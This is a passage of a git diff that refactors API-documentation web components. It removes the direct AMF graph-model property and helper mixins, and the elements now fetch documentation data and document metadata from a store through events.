       ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       type="api key"
-      .amf="${amf}"
       .security="${security}"
       @change="${this[changeHandler]}"
     ></api-authorization-method>
diff --git a/src/elements/ApiAuthorizationMethodElement.d.ts b/src/elements/ApiAuthorizationMethodElement.d.ts
index 1aee976..cf0e2b0 100644
--- a/src/elements/ApiAuthorizationMethodElement.d.ts
+++ b/src/elements/ApiAuthorizationMethodElement.d.ts
@@ -1,6 +1,5 @@
 import { AuthorizationMethodElement as AuthorizationMethod } from "@advanced-rest-client/app";
 import { ApiParametrizedSecurityScheme } from '../helpers/api';
-import { AmfDocument } from '../helpers/amf';
 import {
   typeChangedSymbol,
   propagateChanges,
@@ -14,10 +13,6 @@ export const apiValue: unique symbol;
 export const settingsHandler: unique symbol;
 
 export default class ApiAuthorizationMethodElement extends AuthorizationMethod {
-  /**
-   * The full AMF graph model of the API.
-   */
-  amf: AmfDocument;
   /**
    * A security model generated by the AMF parser.
    */
diff --git a/src/elements/ApiAuthorizationMethodElement.js b/src/elements/ApiAuthorizationMethodElement.js
index 586c559..42aefc8 100644
--- a/src/elements/ApiAuthorizationMethodElement.js
+++ b/src/elements/ApiAuthorizationMethodElement.js
@@ -36,7 +36,6 @@ export const settingsHandler = Symbol("settingsHandler");
 /** @typedef {import('@advanced-rest-client/events').Authorization.BearerAuthorization} BearerAuthorization */
 /** @typedef {import('@advanced-rest-client/app').AuthUiInit} AuthUiInit */
 /** @typedef {import('@advanced-rest-client/app').AuthUiBase} AuthUiBase */
-/** @typedef {import('../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
 /** @typedef {import('../lib/auth-ui/CustomAuth').default} CustomAuth */
 /** @typedef {import('../lib/auth-ui/ApiKeyAuth').default} ApiKeyAuth */
@@ -57,10 +56,6 @@ export default class ApiAuthorizationMethodElement extends AuthorizationMethod {
 
   static get properties() {
     return {
-      /**
-       * The full AMF graph model of the API.
-       */
-      amf: { type: Object },
       /**
        * A security model generated by the AMF parser.
        */
@@ -107,8 +102,6 @@ export default class ApiAuthorizationMethodElement extends AuthorizationMethod {
 
   constructor() {
     super();
-    /** @type {DomainElement} */
-    this.amf = undefined;
     /** @type {ApiParametrizedSecurityScheme} */
     this.security = undefined;
     /** @type {boolean} */
diff --git a/src/elements/ApiChannelDocumentElement.js b/src/elements/ApiChannelDocumentElement.js
index 14bd953..06365c8 100644
--- a/src/elements/ApiChannelDocumentElement.js
+++ b/src/elements/ApiChannelDocumentElement.js
@@ -78,15 +78,20 @@ export default class ApiChannelDocumentElement extends ApiResourceDocumentElemen
    * @returns {TemplateResult} The template for the API operation.
    */
   [operationTemplate](operation) {
-    const { serverId } = this;
+    const { serverId, endpoint, baseUri } = this;
     return html`<api-operation-document 
-      .amf="${this.amf}"
       .domainId="${operation.id}"
+      .operation="${operation}"
+      .endpoint="${endpoint}"
+      .endpointId="${endpoint.id}"
       .serverId="${serverId}"
+      .baseUri="${baseUri}" 
+      ?anypoint="${this.anypoint}"
       data-domain-id="${operation.id}"
       responsesOpened
+      renderSecurity
       asyncApi
-      ?anypoint="${this.anypoint}"
-      class="operation"></api-operation-document>`;
+      class="operation"
+    ></api-operation-document>`;
   }
 }
diff --git a/src/elements/ApiDocumentationBase.d.ts b/src/elements/ApiDocumentationBase.d.ts
index afcd21d..d505339 100644
--- a/src/elements/ApiDocumentationBase.d.ts
+++ b/src/elements/ApiDocumentationBase.d.ts
@@ -1,9 +1,6 @@
 import { LitElement, TemplateResult } from 'lit-element';
 import { EventsTargetMixin } from '@anypoint-web-components/awc';
 import { ApiParameter, ApiCustomDomainProperty, ApiExample } from '../helpers/api';
-import { DomainElement } from '../helpers/amf';
-import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
-import { AmfSerializer } from '../helpers/AmfSerializer';
 import { SchemaExample } from '../types';
 
 export declare const sectionToggleClickHandler: unique symbol;
@@ -11,8 +8,6 @@ export declare const processDebounce: unique symbol;
 export declare const queryDebounce: unique symbol;
 export declare const debounceValue: unique symbol;
 export declare const domainIdValue: unique symbol;
-export declare const serializerValue: unique symbol;
-export declare const domainModelValue: unique symbol;
 export declare const sectionToggleTemplate: unique symbol;
 export declare const paramsSectionTemplate: unique symbol;
 export declare const schemaItemTemplate: unique symbol;
@@ -27,7 +22,7 @@ export declare const evaluateExample: unique symbol;
 /**
  * A base class for the documentation components with common templates and functions.
  */
-export class ApiDocumentationBase extends EventsTargetMixin(AmfHelperMixin(LitElement)) {
+export class ApiDocumentationBase extends EventsTargetMixin(LitElement) {
   /** 
    * The domain id of the object to render.
    * @attribute
@@ -43,13 +38,6 @@ export class ApiDocumentationBase extends EventsTargetMixin(AmfHelperMixin(LitEl
    * in the debouncer.
    */
   queryDebouncerTimeout: number;
-  [serializerValue]: AmfSerializer;
-
-  /** 
-   * The domain object read from the AMF graph model.
-   */
-  domainModel: DomainElement|undefined;
-  [domainModelValue]: DomainElement|undefined;
 
   [examplesValue]: SchemaExample[];
 
diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js
index c9c86a3..97a1fab 100644
--- a/src/elements/ApiDocumentationBase.js
+++ b/src/elements/ApiDocumentationBase.js
@@ -9,13 +9,10 @@ import '@anypoint-web-components/awc/anypoint-collapse.js';
 import '@advanced-rest-client/icons/arc-icon.js';
 import '@advanced-rest-client/highlight/arc-marked.js';
 import { ApiExampleGenerator } from '../schema/ApiExampleGenerator.js';
-import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
-import { AmfSerializer } from '../helpers/AmfSerializer.js';
 import { EventTypes } from '../events/EventTypes.js';
 import '../../define/api-annotation-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
 /** @typedef {import('../helpers/api').ApiCustomDomainProperty} ApiCustomDomainProperty */
@@ -26,8 +23,6 @@ export const sectionToggleClickHandler = Symbol('sectionToggleClickHandler');
 export const processDebounce = Symbol('queryDebounce');
 export const debounceValue = Symbol('debounceValue');
 export const domainIdValue = Symbol('domainIdValue');
-export const domainModelValue = Symbol('domainModelValue');
-export const serializerValue = Symbol('domainIdValue');
 export const clickHandler = Symbol('clickHandler');
 export const descriptionTemplate = Symbol('descriptionTemplate');
 export const sectionToggleTemplate = Symbol('sectionToggleTemplate');
@@ -44,7 +39,7 @@ export const graphChangeHandler = Symbol('graphChangeHandler');
 /**
  * A base class for the documentation components with common templates and functions.
  */
-export class ApiDocumentationBase extends EventsTargetMixin(AmfHelperMixin(LitElement)) {
+export class ApiDocumentationBase extends EventsTargetMixin(LitElement) {
   /** 
    * @returns {string|undefined} The domain id of the object to render.
    */
@@ -67,28 +62,6 @@ export class ApiDocumentationBase extends EventsTargetMixin(AmfHelperMixin(LitEl
     }
   }
 
-  /** 
-   * @returns {DomainElement|undefined} The domain object read from the AMF graph model.
-   */
-  get domainModel() {
-    return this[domainModelValue];
-  }
-
-  /** 
-   * @returns {DomainElement|undefined} The domain object read from the AMF graph model.
-   */
-  set domainModel(value) {
-    const old = this[domainModelValue];
-    if (old === value) {
-      return;
-    }
-    this[domainModelValue] = value;
-    this.requestUpdate('domainModel', old);
-    if (value) {
-      this[processDebounce]();
-    }
-  }
-
   static get properties() {
     return {
       /** 
@@ -108,26 +81,17 @@ export class ApiDocumentationBase extends EventsTargetMixin(AmfHelperMixin(LitEl
      * The timeout after which the `queryGraph()` function is called 
      * in the debouncer.
      */
-    this.queryDebouncerTimeout = 2;
+    this.queryDebouncerTimeout = 1;
     /** @type {boolean} */
     this.anypoint = undefined;
     /**
      * @type {SchemaExample[]}
      */
     this[examplesValue] = undefined;
-    this[serializerValue] = new AmfSerializer();
 
     this[graphChangeHandler] = this[graphChangeHandler].bind(this);
   }
 
-  /**
-   * @param {AmfDocument} amf 
-   */
-  __amfChanged(amf) {
-    this[serializerValue].amf = amf;
-    this[processDebounce]();
-  }
-
   connectedCallback() {
     super.connectedCallback();
     if (this.domainId) {
@@ -163,7 +127,7 @@ export class ApiDocumentationBase extends EventsTargetMixin(AmfHelperMixin(LitEl
    * Handler for the event dispatched by the store when the graph model change.
    */
   [graphChangeHandler]() {
-    this[processDebounce]()
+    this[processDebounce]();
   }
 
   /**
@@ -309,7 +273,6 @@ export class ApiDocumentationBase extends EventsTargetMixin(AmfHelperMixin(LitEl
   [schemaItemTemplate](model, dataName) {
     return html`
     <api-parameter-document 
-      .amf="${this.amf}" 
       .parameter="${model}" 
       class="property-item"
       data-name="${ifDefined(dataName)}"
diff --git a/src/elements/ApiDocumentationDocumentElement.d.ts b/src/elements/ApiDocumentationDocumentElement.d.ts
index 3a8ea7a..8d64051 100644
--- a/src/elements/ApiDocumentationDocumentElement.d.ts
+++ b/src/elements/ApiDocumentationDocumentElement.d.ts
@@ -1,11 +1,10 @@
 import { TemplateResult } from 'lit-element';
 import { ApiDocumentation } from '../helpers/api';
-import { CreativeWork } from '../helpers/amf';
 import { ApiDocumentationBase } from './ApiDocumentationBase';
 
 export const documentationValue: unique symbol;
 export const titleTemplate: unique symbol;
-export const setModel: unique symbol;
+export const queryDocument: unique symbol;
 
 /**
  * A web component that renders the documentation page for an API documentation (like in RAML documentations) built from 
@@ -15,18 +14,20 @@ export default class ApiDocumentationDocumentElement extends ApiDocumentationBas
   /**
    * @returns The serialized to a JS object graph model
    */
-  get model(): ApiDocumentation|undefined;
+  documentation: ApiDocumentation|undefined;
 
   [documentationValue]: ApiDocumentation;
   constructor();
-  domainModel: CreativeWork;
 
   /**
    * Queries the graph store for the API Documentation data.
    */
   processGraph(): Promise<void>;
 
-  [setModel](model: CreativeWork): void;
+  /**
+   * Queries for the documentation model.
+   */
+  [queryDocument](): Promise<void>;
 
   render(): TemplateResult;
 
diff --git a/src/elements/ApiDocumentationDocumentElement.js b/src/elements/ApiDocumentationDocumentElement.js
index 077e188..0315f0a 100644
--- a/src/elements/ApiDocumentationDocumentElement.js
+++ b/src/elements/ApiDocumentationDocumentElement.js
@@ -4,15 +4,15 @@ import { MarkdownStyles } from '@advanced-rest-client/highlight';
 import { HttpStyles } from '@advanced-rest-client/app';
 import elementStyles from './styles/ApiDocumentationDocument.js';
 import commonStyles from './styles/Common.js';
-import { ApiDocumentationBase, descriptionTemplate, serializerValue } from './ApiDocumentationBase.js';
+import { ApiDocumentationBase, descriptionTemplate } from './ApiDocumentationBase.js';
+import { Events } from '../events/Events.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiDocumentation} ApiDocumentation */
-/** @typedef {import('../helpers/amf').CreativeWork} CreativeWork */
 
 export const documentationValue = Symbol('documentationValue');
 export const titleTemplate = Symbol('titleTemplate');
-export const setModel = Symbol('setModel');
+export const queryDocument = Symbol('queryDocument');
 
 /**
  * A web component that renders the documentation page for an API documentation (like in RAML documentations) built from 
@@ -26,16 +26,26 @@ export default class ApiDocumentationDocumentElement extends ApiDocumentationBas
   /**
    * @returns {ApiDocumentation|undefined} The serialized to a JS object graph model
    */
-  get model() {
+  get documentation() {
     return this[documentationValue];
   }
 
+  /**
+   * @param {ApiDocumentation} value The serialized to a JS object graph model
+   */
+  set documentation(value) {
+    const old = this[documentationValue];
+    if (old === value) {
+      return;
+    }
+    this[documentationValue] = value;
+    this.processGraph();
+  }
+
   constructor() {
     super();
     /** @type {ApiDocumentation} */
     this[documentationValue] = undefined;
-    /** @type {CreativeWork} */
-    this.domainModel = undefined;
   }
 
   /**
@@ -43,30 +53,31 @@ export default class ApiDocumentationDocumentElement extends ApiDocumentationBas
    * @returns {Promise<void>}
    */
   async processGraph() {
-    const { domainId, domainModel, amf } = this;
-    if (domainModel) {
-      this[setModel](domainModel);
-      return;
-    }
-    if (!domainId) {
-      this[setModel]();
-      return;
-    }
-    const webApi = this._computeApi(amf);
-    const model =  this._computeDocument(webApi, domainId);
-    this[setModel](model);
+    await this[queryDocument]();
+    await this.requestUpdate();
   }
 
   /**
-   * @param {CreativeWork=} model 
+   * Queries for the documentation model.
+   * @returns {Promise<void>} 
    */
-  [setModel](model) {
-    if (model) {
-      this[documentationValue] = this[serializerValue].documentation(model);
-    } else {
+  async [queryDocument]() {
+    const { domainId } = this;
+    if (!domainId) {
+      return;
+    }
+    if (this[documentationValue] && this[documentationValue].id === domainId) {
+      // in case it was set by the parent via the property
+      return;
+    }
+    try {
+      const info = await Events.Documentation.get(this, domainId);
+      this[documentationValue] = info;
+    } catch (e) {
       this[documentationValue] = undefined;
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API documentation data: ${e.message}`, this.localName);
     }
-    this.requestUpdate();
   }
 
   render() {
diff --git a/src/elements/ApiDocumentationElement.d.ts b/src/elements/ApiDocumentationElement.d.ts
index fe093da..f0b2f5f 100644
--- a/src/elements/ApiDocumentationElement.d.ts
+++ b/src/elements/ApiDocumentationElement.d.ts
@@ -1,13 +1,12 @@
 import { TemplateResult } from 'lit-element';
 import { Oauth2Credentials } from '@advanced-rest-client/app';
 import { ApiDocumentationBase } from './ApiDocumentationBase.js';
-import { AmfDocument, DomainElement, EndPoint } from '../helpers/amf';
 import { ApiSummary } from '../helpers/api';
-import { ServerType, SelectionType } from '../types';
+import { ServerType, SelectionType, DocumentMeta } from '../types';
 import { ApiNavigationEvent } from '../events/NavigationEvents';
 
-export const isAsyncValue: unique symbol;
 export const operationIdValue: unique symbol;
+export const domainIdValue: unique symbol;
 export const domainTypeValue: unique symbol;
 export const navigationHandler: unique symbol;
 export const navEventsRegistered: unique symbol;
@@ -15,22 +14,12 @@ export const registerNavigationEvents: unique symbol;
 export const unregisterNavigationEvents: unique symbol;
 export const handleNavigationEventsValue: unique symbol;
 export const processApiSpecSelection: unique symbol;
-export const isLibrary: unique symbol;
 export const processLibrarySelection: unique symbol;
-export const computeDeclById: unique symbol;
 export const renderedViewValue: unique symbol;
 export const renderedModelValue: unique symbol;
-export const computeSecurityApiModel: unique symbol;
-export const computeReferenceSecurity: unique symbol;
-export const computeTypeApiModel: unique symbol;
-export const computeDocsApiModel: unique symbol;
-export const computeResourceApiModel: unique symbol;
-export const computeEndpointApiMethodModel: unique symbol;
-export const computeMethodApiModel: unique symbol;
 export const processFragment: unique symbol;
 export const processPartial: unique symbol;
 export const processEndpointPartial: unique symbol;
-export const endpointValue: unique symbol;
 export const apiSummaryValue: unique symbol;
 export const serverSelectorTemplate: unique symbol;
 export const serversCountHandler: unique symbol;
@@ -179,7 +168,11 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * @returns true when whe currently loaded API is an async API.
    */
   get isAsync(): boolean;
-  [endpointValue]: EndPoint;
+  /**
+   * @returns The mime type of the schema that is being rendered.
+   */
+  get schemaMime(): string|undefined;
+  get documentMeta(): DocumentMeta;
   [apiSummaryValue]: ApiSummary;
   [navEventsRegistered]: boolean;
   /**
@@ -219,14 +212,14 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * 
    * @param model WebApi AMF model. Do not use an array here.
    */
-  [processApiSpecSelection](model: AmfDocument): void;
+  [processApiSpecSelection](): void;
 
   /**
    * Processes selection for a library data model. It ignores the input if
    * `domainId` or `domainType` is not set.
    * @param model Library AMF model. Do not use an array here.
    */
-  [processLibrarySelection](model: AmfDocument): void;
+  [processLibrarySelection](): void;
 
   /**
    * Processes fragment model and sets current selection and the model.
@@ -234,7 +227,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * @param model RAML fragment model
    * @param domainType The selected domain type.
    */
-  [processFragment](model: AmfDocument, domainType: SelectionType): void;
+  [processFragment](domainType: SelectionType): void;
 
   /**
    * Sets the partial model to be rendered.
@@ -242,7 +235,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * @param model RAML partial model
    * @param domainType The domain type representing the partial model.
    */
-  [processPartial](model: AmfDocument, domainType: SelectionType): void;
+  [processPartial](domainType: SelectionType): void;
 
   /**
    * Processes endpoint data from partial model definition.
@@ -250,87 +243,8 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    *
    * If `selected` or `selectedType` is not set then it automatically selects
    * an endpoint.
-   * @param model Partial model for endpoints
-   */
-  [processEndpointPartial](model: DomainElement): void;
-
-  /**
-   * Tests if `model` is of a RAML library model.
-   * @param model A shape to test
-   * @returns {boolean} true when the presented model is a library.
-   */
-  [isLibrary](model: AmfDocument): boolean;
-
-  /**
-   * Computes model of a shape defined in `declares` list
-   * @param model AMF model
-   * @param {string} domainId Current selection
-   */
-  [computeDeclById](model: AmfDocument, domainId: string): any|undefined;
-
-  /**
-   * Computes security scheme definition model from web API and current selection.
-   * It looks for the definition in both `declares` and `references` properties.
-   * Returned value is already resolved AMF model (references are resolved).
-   *
-   * @param model WebApi AMF model. Do not use an array here.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {DomainElement|undefined} Model definition for the security scheme.
-   */
-  [computeSecurityApiModel](model: AmfDocument, domainId: string): DomainElement|undefined;
-
-  /**
-   * Computes a security model from a reference (library for example).
-   * @param reference AMF model for a reference to extract the data from
-   * @param {string} domainId Node ID to look for
-   * @returns {DomainElement|undefined} Type definition or undefined if not found.
-   */
-  [computeReferenceSecurity](reference: AmfDocument, domainId: string): DomainElement|undefined;
-
-  /**
-   * Computes type definition model from web API and current selection.
-   * It looks for the definition in both `declares` and `references` properties.
-   * Returned value is already resolved AMF model (references are resolved).
-   *
-   * @param model WebApi AMF model. Do not use an array here.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {DomainElement|undefined} Model definition for a type.
-   */
-  [computeTypeApiModel](model: AmfDocument, domainId: string): DomainElement|undefined;
-
-  /**
-   * Computes documentation definition model from web API and current selection.
-   *
-   * @param model WebApi AMF model. Do not use an array here.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {DomainElement|undefined} Model definition for a documentation fragment.
-   */
-  [computeDocsApiModel](model: AmfDocument, domainId: string): DomainElement|undefined;
-
-  /**
-   * Computes Endpoint definition model from web API and current selection.
-   *
-   * @param model WebApi AMF model. Do not use an array here.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {DomainElement|undefined} Model definition for an endpoint fragment.
-   */
-  [computeResourceApiModel](model: AmfDocument, domainId: string): DomainElement|undefined;
-
-  /**
-   * Computes Method definition model from web API and current selection.
-   *
-   * @param model WebApi AMF model. Do not use an array here.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {DomainElement|undefined}
-   */
-  [computeMethodApiModel](model: AmfDocument, domainId: string): DomainElement|undefined;
-
-  /**
-   * @param model WebApi AMF model.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {}
    */
-  [computeEndpointApiMethodModel](model: AmfDocument, domainId: string): DomainElement|undefined;
+  [processEndpointPartial](): void;
 
   [serversCountHandler](e: CustomEvent): void;
   [serverChangeHandler](e: CustomEvent): void;
diff --git a/src/elements/ApiDocumentationElement.js b/src/elements/ApiDocumentationElement.js
index d65256f..0376b53 100644
--- a/src/elements/ApiDocumentationElement.js
+++ b/src/elements/ApiDocumentationElement.js
@@ -6,10 +6,12 @@ import '@anypoint-web-components/awc/anypoint-radio-group.js';
 import elementStyles from './styles/ApiDocumentation.js';
 import { 
   ApiDocumentationBase,
-  serializerValue,
   processDebounce,
+  domainIdValue,
 } from './ApiDocumentationBase.js';
 import { EventTypes } from '../events/EventTypes.js';
+import { Events } from '../events/Events.js';
+import { ns } from '../helpers/Namespace.js';
 import '../../define/api-summary.js'
 import '../../define/api-operation-document.js'
 import '../../define/api-resource-document.js';
@@ -19,19 +21,15 @@ import '../../define/api-schema-document.js';
 import '../../define/api-server-selector.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
-/** @typedef {import('../helpers/amf').DomainElement} DomainElement */
-/** @typedef {import('../helpers/amf').EndPoint} EndPoint */
-/** @typedef {import('../helpers/amf').Operation} Operation */
 /** @typedef {import('../helpers/api').ApiSummary} ApiSummary */
 /** @typedef {import('../types').ServerType} ServerType */
 /** @typedef {import('../types').SelectionType} SelectionType */
+/** @typedef {import('../types').DocumentMeta} DocumentMeta */
 /** @typedef {import('../events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 /** @typedef {import('../events/ServerEvents').ServerCountChangeEvent} ServerCountChangeEvent */
 /** @typedef {import('../events/ServerEvents').ServerChangeEvent} ServerChangeEvent */
 /** @typedef {import('@anypoint-web-components/awc').AnypointRadioGroupElement} AnypointRadioGroupElement */
 
-export const isAsyncValue = Symbol('isAsyncValue');
 export const operationIdValue = Symbol('operationIdValue');
 export const domainTypeValue = Symbol('domainTypeValue');
 export const navigationHandler = Symbol('navigationHandler');
@@ -40,22 +38,11 @@ export const registerNavigationEvents = Symbol('registerNavigationEvents');
 export const unregisterNavigationEvents = Symbol('unregisterNavigationEvents');
 export const handleNavigationEventsValue = Symbol('handleNavigationEventsValue');
 export const processApiSpecSelection = Symbol('processApiSpecSelection');
-export const isLibrary = Symbol('isLibrary');
 export const processLibrarySelection = Symbol('processLibrarySelection');
-export const computeDeclById = Symbol('computeDeclById');
 export const renderedViewValue = Symbol('renderedViewValue');
-export const renderedModelValue = Symbol('renderedModelValue');
-export const computeSecurityApiModel = Symbol('computeSecurityApiModel');
-export const computeReferenceSecurity = Symbol('computeReferenceSecurity');
-export const computeTypeApiModel = Symbol('computeTypeApiModel');
-export const computeDocsApiModel = Symbol('computeDocsApiModel');
-export const computeResourceApiModel = Symbol('computeEndpointApiModel');
-export const computeEndpointApiMethodModel = Symbol('computeEndpointApiMethodModel');
-export const computeMethodApiModel = Symbol('computeMethodApiModel');
 export const processFragment = Symbol('processFragment');
 export const processPartial = Symbol('processPartial');
 export const processEndpointPartial = Symbol('processEndpointPartial');
-export const endpointValue = Symbol('endpointValue');
 export const apiSummaryValue = Symbol('apiSummaryValue');
 export const serverSelectorTemplate = Symbol('serverSelectorTemplate');
 export const serversCountHandler = Symbol('serversCountHandler');
@@ -68,6 +55,9 @@ export const schemaTemplate = Symbol('schemaTemplate');
 export const resourceTemplate = Symbol('resourceTemplate');
 export const schemaMediaSelectorTemplate = Symbol('schemaMediaSelectorTemplate');
 export const mediaTypeSelectHandler = Symbol('mediaTypeSelectHandler');
+export const queryDocumentMeta = Symbol('queryDocumentMeta');
+export const documentMetaValue = Symbol('documentMetaValue');
+export const queryApiSummary = Symbol('queryApiSummary');
 
 /**
  * A main documentation view for an AMF model representing a sync or an async API.
@@ -255,11 +245,6 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     return this[renderedViewValue];
   }
 
-  /** @returns {any} The domain model rendered in the view. */
-  get renderedModel() {
-    return this[renderedModelValue];
-  }
-
   /** @returns {boolean} */
   get renderSelector() {
     const { domainType, serversCount, allowCustomBaseUri } = this;
@@ -276,7 +261,11 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * @returns {boolean} true when whe currently loaded API is an async API.
    */
   get isAsync() {
-    return this[isAsyncValue];
+    const { documentMeta } = this;
+    if (!documentMeta) {
+      return false;
+    }
+    return documentMeta.isAsync;
   }
 
   /**
@@ -298,6 +287,11 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     return accepts[0];
   }
 
+  /** @type DocumentMeta */
+  get documentMeta() {
+    return this[documentMetaValue];
+  }
+
   constructor() {
     super();
     /** @type {SelectionType} */
@@ -329,8 +323,6 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     /** @type {boolean} */
     this.httpApplyAuthorization = undefined;
     this.httpCredentialsSource = undefined;
-    /** @type {EndPoint} */
-    this[endpointValue] = undefined;
     /** @type {ApiSummary} */
     this[apiSummaryValue] = undefined;
     /** @type {string} */
@@ -338,6 +330,13 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
 
     this[navigationHandler] = this[navigationHandler].bind(this);
     this[navEventsRegistered] = false;
+    /** @type DocumentMeta */
+    this[documentMetaValue] = undefined;
+  }
+
+  connectedCallback() {
+    super.connectedCallback();
+    this[processDebounce]();
   }
 
   disconnectedCallback() {
@@ -388,100 +387,106 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     this.processGraph();
   }
 
-  /** @param {any} amf */
-  __amfChanged(amf) {
-    this.schemaMimeType = undefined;
-    this[apiSummaryValue] = undefined;
-    super.__amfChanged(amf);
-  }
-
   /**
    * @returns {Promise<void>}
    */
   async processGraph() {
-    let { amf } = this;
-    if (!amf) {
-      return;
-    }
-    if (Array.isArray(amf)) {
-      [amf] = amf;
-    }
-    this[isAsyncValue] = this._isAsyncAPI(amf);
-    const api = this._computeApi(amf);
-    if (api) {
-      const summary = this[serializerValue].apiSummary(api);
-      this[apiSummaryValue] = summary;
-      this[processApiSpecSelection](amf);
-      return;
-    }
-    if (this[isLibrary](amf)) {
-      this[processLibrarySelection](amf);
+    this.schemaMimeType = undefined;
+    await this[queryDocumentMeta]();
+    const { documentMeta } = this;
+    if (!documentMeta) {
+      this.requestUpdate();
       return;
     }
-    if (this._hasType(amf, this.ns.aml.vocabularies.security.SecuritySchemeFragment)) {
-      this[processFragment](amf, 'security');
+    if (documentMeta.isApi) {
+      await this[queryApiSummary]();
+      this[processApiSpecSelection]();
       return;
     }
-    if (this._hasType(amf, this.ns.aml.vocabularies.apiContract.UserDocumentationFragment)) {
-      this[processFragment](amf, 'documentation');
+    if (documentMeta.isLibrary) {
+      this[processLibrarySelection]();
       return;
     }
-    if (this._hasType(amf, this.ns.aml.vocabularies.shapes.DataTypeFragment)) {
-      this[processFragment](amf, 'schema');
+    const { isFragment, types } = documentMeta;
+    
+    if (isFragment) {
+      /** @type SelectionType */
+      let type;
+      if (types.includes(ns.aml.vocabularies.security.SecuritySchemeFragment)) {
+        type = 'security';
+      } else if (types.includes(ns.aml.vocabularies.apiContract.UserDocumentationFragment)) {
+        type = 'documentation';
+      } else if (types.includes(ns.aml.vocabularies.shapes.DataTypeFragment)) {
+        type = 'schema';
+      }
+      this[processFragment](type);
       return;
     }
-    if (this._hasType(amf, this.ns.aml.vocabularies.core.CreativeWork)) {
-      this[processPartial](amf, 'documentation');
+
+    //
+    // partial models
+    // 
+
+    if (types.includes(ns.aml.vocabularies.apiContract.EndPoint)) {
+      this[processEndpointPartial]();
       return;
     }
-    if (this._hasType(amf, this.ns.aml.vocabularies.security.SecurityScheme)) {
-      this[processPartial](amf, 'security');
-      return;
+
+    /** @type SelectionType */
+    let type;
+    if (types.includes(ns.aml.vocabularies.core.CreativeWork)) {
+      type = 'documentation';
+    } else if (types.includes(ns.aml.vocabularies.security.SecurityScheme)) {
+      type = 'security';
+    } else if (types.includes(ns.w3.shacl.Shape)) {
+      type = 'schema';
     }
-    if (this._hasType(amf, this.ns.aml.vocabularies.apiContract.EndPoint)) {
-      this[processEndpointPartial](amf);
-      return;
+    this[processPartial](type);
+  }
+
+  /**
+   * Reads the currently loaded document meta data from the store.
+   */
+  async [queryDocumentMeta]() {
+    this[documentMetaValue] = undefined;
+    try {
+      const info = await Events.Api.documentMeta(this);
+      this[documentMetaValue] = info;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for the document meta data: ${e.message}`, this.localName);
     }
-    if (this._hasType(amf, this.ns.w3.shacl.Shape) || this._hasType(amf, this.ns.aml.vocabularies.document.DomainElement)) {
-      this[processPartial](amf, 'schema');
+  }
+
+  /**
+   * Reads the API summary.
+   * Called only when the currently loaded document is an API.
+   */
+  async [queryApiSummary]() {
+    try {
+      const info = await Events.Api.summary(this);
+      this[apiSummaryValue] = info;
+    } catch (e) {
+      this[apiSummaryValue] = undefined;
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for the API summary data: ${e.message}`, this.localName);
     }
   }
 
   /**
    * Processes selection for the web API data model. It ignores the input if
    * `domainId` or `domainType` is not set.
-   * 
-   * @param {AmfDocument} model WebApi AMF model. Do not use an array here.
    */
-  [processApiSpecSelection](model) {
+  [processApiSpecSelection]() {
     const { domainId, tryItPanel } = this;
     let { domainType } = this;
     if (!domainId || !domainType) {
       // Not all required properties were set.
       return;
     }
-    let result;
-    switch (domainType) {
-      case 'summary': result = model; break;
-      case 'security': result = this[computeSecurityApiModel](model, domainId); break;
-      case 'schema': result = this[computeTypeApiModel](model, domainId); break;
-      case 'documentation': result = this[computeDocsApiModel](model, domainId); break;
-      case 'resource':
-        result = this[computeResourceApiModel](model, domainId);
-        break;
-      case 'operation':
-        if (tryItPanel) {
-          domainType = 'resource';
-          result = this[computeEndpointApiMethodModel](model, domainId);
-        } else {
-          result = this[computeMethodApiModel](model, domainId);
-          this[endpointValue] = this[computeEndpointApiMethodModel](model, domainId);
-        }
-        break;
-      default:
-        return;
+    if (domainType === 'operation' && tryItPanel) {
+      domainType = 'resource';
     }
-    this[renderedModelValue] = result;
     this[renderedViewValue] = domainType;
     this.requestUpdate();
   }
@@ -489,24 +494,13 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
   /**
    * Processes selection for a library data model. It ignores the input if
    * `domainId` or `domainType` is not set.
-   * @param {AmfDocument} model Library AMF model. Do not use an array here.
    */
-  [processLibrarySelection](model) {
+  [processLibrarySelection]() {
     const { domainId, domainType } = this;
     if (!domainId || !domainType) {
       // Not all required properties were set.
       return;
     }
-    let result;
-    switch (domainType) {
-      case 'security':
-      case 'schema': 
-        result = this[computeDeclById](model, domainId); 
-        break;
-      default:
-        result = model;
-    }
-    this[renderedModelValue] = result;
     this[renderedViewValue] = domainType;
     this.requestUpdate();
   }
